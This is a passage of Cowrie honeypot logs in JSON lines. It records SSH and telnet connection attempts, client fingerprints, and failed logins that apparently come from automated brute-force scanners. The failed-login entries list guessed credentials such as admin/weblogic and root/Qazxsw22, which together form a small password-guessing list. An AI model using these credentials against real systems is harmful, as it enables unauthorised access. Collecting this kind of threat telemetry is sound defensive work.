bc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:17.013620Z","src_ip":"159.203.92.129","session":"bdcdad4f591a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"weblogic","message":"login attempt [admin/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:17.056695Z","src_ip":"159.203.92.129","session":"bdcdad4f591a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:18.063874Z","src_ip":"159.203.92.129","session":"bdcdad4f591a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.115.59","src_port":49500,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4697b8e6010","protocol":"ssh","message":"New connection: 45.79.115.59:49500 (10.17.0.5:22) [session: b4697b8e6010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:42.730814Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:43.186377Z","src_ip":"45.79.115.59","session":"b4697b8e6010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f222b52161","protocol":"ssh","message":"New connection: 159.203.92.129:40588 (159.203.135.109:22) [session: f9f222b52161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:56.862704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:56.867481Z","src_ip":"159.203.92.129","session":"f9f222b52161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:56.873916Z","src_ip":"159.203.92.129","session":"f9f222b52161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welc0me","message":"login attempt [admin/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:56.904632Z","src_ip":"159.203.92.129","session":"f9f222b52161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:57.910245Z","src_ip":"159.203.92.129","session":"f9f222b52161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":53884,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f89f3f92e99","protocol":"ssh","message":"New connection: 198.98.55.71:53884 (10.17.0.5:22) [session: 1f89f3f92e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:11.079148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:11.085865Z","src_ip":"198.98.55.71","session":"1f89f3f92e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:11.091278Z","src_ip":"198.98.55.71","session":"1f89f3f92e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxsw22","message":"login attempt [root/Qazxsw22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:11.143086Z","src_ip":"198.98.55.71","session":"1f89f3f92e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:12.150944Z","src_ip":"198.98.55.71","session":"1f89f3f92e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52158,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ab0deb629fd","protocol":"ssh","message":"New connection: 159.203.92.129:52158 (159.203.135.109:22) [session: 7ab0deb629fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:37.158006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:37.162400Z","src_ip":"159.203.92.129","session":"7ab0deb629fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:37.166837Z","src_ip":"159.203.92.129","session":"7ab0deb629fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welc0me12#$","message":"login attempt [admin/welc0me12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:37.177523Z","src_ip":"159.203.92.129","session":"7ab0deb629fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:36:38.184456Z","src_ip":"159.203.92.129","session":"7ab0deb629fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39492,"dst_ip":"159.203.135.109","dst_port":22,"session":"f354978f11a4","protocol":"ssh","message":"New connection: 159.203.92.129:39492 (159.203.135.109:22) [session: f354978f11a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:17.693176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:17.698103Z","src_ip":"159.203.92.129","session":"f354978f11a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:17.702797Z","src_ip":"159.203.92.129","session":"f354978f11a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welc0me@123","message":"login attempt [admin/welc0me@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:17.713765Z","src_ip":"159.203.92.129","session":"f354978f11a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:18.721395Z","src_ip":"159.203.92.129","session":"f354978f11a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38468,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d032cc7240","protocol":"ssh","message":"New connection: 159.203.92.129:38468 (159.203.135.109:22) [session: d9d032cc7240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:58.862156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:58.866945Z","src_ip":"159.203.92.129","session":"d9d032cc7240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:58.871485Z","src_ip":"159.203.92.129","session":"d9d032cc7240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welcome","message":"login attempt [admin/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:58.891111Z","src_ip":"159.203.92.129","session":"d9d032cc7240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:37:59.897639Z","src_ip":"159.203.92.129","session":"d9d032cc7240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.0.160.178","src_port":22109,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c5e6d63dcc","protocol":"telnet","message":"New connection: 206.0.160.178:22109 (10.17.0.5:23) [session: b6c5e6d63dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:30.476404Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35686,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce0fdd3e01c","protocol":"ssh","message":"New connection: 159.203.92.129:35686 (159.203.135.109:22) [session: 9ce0fdd3e01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:43.706843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:43.712738Z","src_ip":"159.203.92.129","session":"9ce0fdd3e01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:43.717772Z","src_ip":"159.203.92.129","session":"9ce0fdd3e01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welcome1","message":"login attempt [admin/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:43.728753Z","src_ip":"159.203.92.129","session":"9ce0fdd3e01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.799833297729492,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:44.276089Z","src_ip":"206.0.160.178","session":"b6c5e6d63dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:38:44.734914Z","src_ip":"159.203.92.129","session":"9ce0fdd3e01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48586,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce38e63bd50","protocol":"ssh","message":"New connection: 159.203.92.129:48586 (159.203.135.109:22) [session: 8ce38e63bd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:39:28.180044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:39:28.184734Z","src_ip":"159.203.92.129","session":"8ce38e63bd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@opens